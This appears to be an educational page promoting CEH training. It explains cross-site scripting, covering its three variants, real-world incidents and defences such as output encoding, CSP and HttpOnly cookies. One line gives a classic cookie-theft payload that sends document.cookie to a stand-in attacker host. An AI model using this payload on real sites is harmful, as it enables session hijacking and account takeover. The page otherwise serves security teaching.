XSS
Cross-Site Scripting — injecting scripts into a trusted web page that execute in another user's browser.
DOM
Document Object Model — the browser's live representation of a web page that JavaScript can read and modify.
Session Hijacking
Stealing a user's session cookie to impersonate them without needing their password.
Output Encoding
Converting special characters to their HTML-safe equivalents before rendering user input, preventing script execution.

Why XSS is dangerous

The core problem with XSS is context. When a web application reflects user-supplied data back into a page without proper sanitisation, that data is interpreted as HTML or JavaScript by the victim's browser. Since the script originates from a trusted domain (the legitimate website), the browser applies the site's permissions to that script.

A script running in the context of bank.com can read cookies set for bank.com, make requests to bank.com on the user's behalf, and read the page's content — all while appearing completely legitimate to the user, who sees only the normal website.

Classic XSS payload:
An attacker enters the following into a comment box or search field:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

If the site renders this without encoding it, any user who loads that page will have their session cookie silently sent to the attacker. The attacker can then use that cookie to log in as the victim.

The three types of XSS

  1. 1
    Stored XSS (Persistent) — The malicious script is saved in the database and served to every user who loads the affected page. A forum post, comment, or profile field containing a script affects every visitor indefinitely. This is the most impactful variant since it requires no social engineering of the victim — they simply browse to a page.
  2. 2
    Reflected XSS (Non-persistent) — The script is embedded in a crafted URL. When the victim clicks the link, the server reflects the script back in the page response, and the browser executes it. The script is not stored — it fires once and only for the user who clicks the malicious link. Requires phishing or social engineering to deliver the URL.
  3. 3
    DOM-Based XSS — The vulnerability exists entirely in client-side JavaScript. The server never processes the malicious payload — the browser's own JavaScript reads attacker-controlled data from the URL (e.g., the fragment or query string) and writes it to the DOM unsafely. Traditional server-side output encoding does not prevent this variant.

Real-world XSS attacks

XSS has been used in some significant real-world attacks:

  • Samy Worm (MySpace, 2005): A stored XSS worm that spread across MySpace, adding "Samy is my hero" to 1 million profiles in under 24 hours — the fastest spreading virus in history at the time. The author was sentenced to community service and banned from computers.
  • British Airways (2018): A Magecart attack injected malicious JavaScript into the payment page, skimming card details from 500,000 customers over two weeks. The script was only 22 lines of code. BA was fined £20 million by the UK ICO.
  • Steam (2019): XSS vulnerabilities were found in Steam's trading and market systems. Exploiting these could have allowed session hijacking of users' gaming accounts.

How to prevent XSS

XSS is preventable through a combination of output encoding, input validation, and security headers:

  • Output encoding: Always HTML-encode user-supplied data before rendering it. Convert < to &lt;, > to &gt;, " to &quot; etc. Most modern templating engines do this by default.
  • Content Security Policy (CSP): A browser security header that whitelists which scripts are allowed to execute on a page. Even if XSS injection succeeds, CSP can prevent the injected script from loading external resources or sending data to attacker servers.
  • HttpOnly cookies: Setting the HttpOnly flag on session cookies prevents JavaScript from reading them — blocking the most common XSS payload of cookie theft.
  • Input validation: Reject or sanitise input that doesn't match expected patterns. Not sufficient on its own — encoding is still required — but reduces attack surface.
  • DOM sanitisation libraries: For client-side rendering, use libraries like DOMPurify to sanitise HTML before inserting it into the DOM.
Practise XSS in live labs

CEH v13 includes hands-on XSS exercises using DVWA and Juice Shop — stored, reflected, and DOM-based variants in a safe, legal environment.

Explore CEH v13